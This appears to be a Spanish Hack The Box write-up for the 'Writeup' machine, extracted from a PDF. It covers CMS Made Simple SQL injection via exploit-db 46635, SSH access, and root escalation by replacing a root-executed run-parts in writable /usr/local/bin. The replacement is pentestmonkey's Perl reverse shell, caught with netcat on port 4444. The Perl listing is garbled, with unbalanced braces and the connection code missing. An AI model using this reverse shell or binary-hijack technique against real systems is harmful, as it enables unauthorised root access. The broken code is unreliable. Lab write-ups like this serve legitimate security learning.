Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Accedemos al /writeup que nos había mostrado nmap que estaba en disallow en el
robots.txt y vemos que podemos acceder a varios reports de máquinas antiguas de HTB. En
la página principal vemos que se trata de un CMS, en concreto de CMS Made Simple.
Hacemos un poco de búsqueda en exploit-db y vemos que hay varios exploits para
diferentes versiones, pero en concreto nos topamos con este exploit:
https://www.exploit-db.com/exploits/46635
Este exploit trata de hacer sql injection y va probando caracteres para predecir la
contraseña cifrada y si le indicamos la opción de crack incluso la podemos descifrar,
acabando como mostramos a continuación:
El paso anterior puede que no nos dé a la primera como toca, pero a base de probarlo
finalmente lo conseguí obtener correctamente :D
Nos connectamos por ssh con el usuario jkr que también nos ha dicho y obtenemos el
user.txt
Descargamos la herramienta y al ejecutarla ya nos indica que puede escribir en el home del
usuario y es allí dónde dejará un fichero con el report que vaya obteniendo. Además nos
indica un código de colores para que nos sea más sencillo identificar posibles vectores de
ataque.
Vemos rápidamente gracias a los colores que hay un directorio en el cual tenemos permisos
/usr/local/bin que, aunque no podemos hacer un ls para listar si que podemos escribir dentro
de él como nos indica linPE.
Otra cosa a tener en cuenta es que en la parte de procesos el usuario root está ejecutando
el binario “run-parts” del cual nosotros también como usuario jkr podemos utilizar.
Hackthebox - Writeup Magichk
Si comprobamos con pspy64 los procesos que corren vamos a confirmar que el usuario root
corre sistematicamente el binario run-parts situado en la carpeta /usr/local/bin en la cual
tenemos permisos para crear y modificar ficheros.
Creamos un fichero en perl (con la reverse shell en perl de pentestmonkey) para poder
conseguir una reverse shell, lo metemos en el directorio /usr/local/bin/ con el nombre de
run-parts y luego le damos permisos. De esta manera sustituimos el binario que ejecuta el
usuario root. Cuando iniciemos sesión el usuario root ejecutará el binario run-parts y
nosotros deberíamos de recibir la shell remota.
#!/usr/bin/perl -w
# perl-reverse-shell - A Reverse Shell implementation in PERL
# Copyright (C) 2006 pentestmonkey@pentestmonkey.net
#
# This tool may be used for legal purposes only. Users take full responsibility
# for any actions performed using this tool. The author accepts no liability
# for damage caused by this tool. If these terms are not acceptable to you, then
# do not use this tool.
#
# In all other respects the GPL version 2 applies:
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2 as
# published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
Hackthebox - Writeup Magichk
use strict;
use Socket;
use FileHandle;
use POSIX;
my $VERSION = "1.0";
# Options
my $daemon = 1;
my $auth = 0; # 0 means authentication is disabled and any
# source IP can access the reverse shell
my $authorised_client_pattern = qr(^127\.0\.0\.1$);
# Declarations
my $global_page = "";
my $fake_process_name = "/usr/sbin/apache";
if ($auth) {
unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) {
cgiprint("ERROR: Your client isn't authorised to view this page");
cgiexit();
}
}
} elsif ($auth) {
cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address.
Denying access");
cgiexit(0);
}
setsid();
chdir('/');
umask(0);
}
my $line = shift;
$line .= "<p>\n";
$global_page .= $line;
}
# Form HTTP response using all the messages gathered by cgiprint so far
sub cgiprintpage {
print "Content-Length: " . length($global_page) . "\r
Connection: close\r
Content-Type: text\/html\r\n\r\n" . $global_page;
}
Con esto conseguimos que al iniciar sesión con el usuario jkr por ssh , el usuario root
ejecute el binario “run-parts” como vimos con el pspy64 y se nos envíe la conexión remota
hacia nuestra máquina. Para ello necesitamos poner a la escucha el puerto 4444 con netcat
en nuestro caso.
Obtendremos una shell reversa en la consola dónde estaba escuchando nuestro netcat en
el puerto 4444. Finalmente, comprobar que el usuario con el que recibimos la shell es root y
por lo tanto leer el fichero /root/root.txt !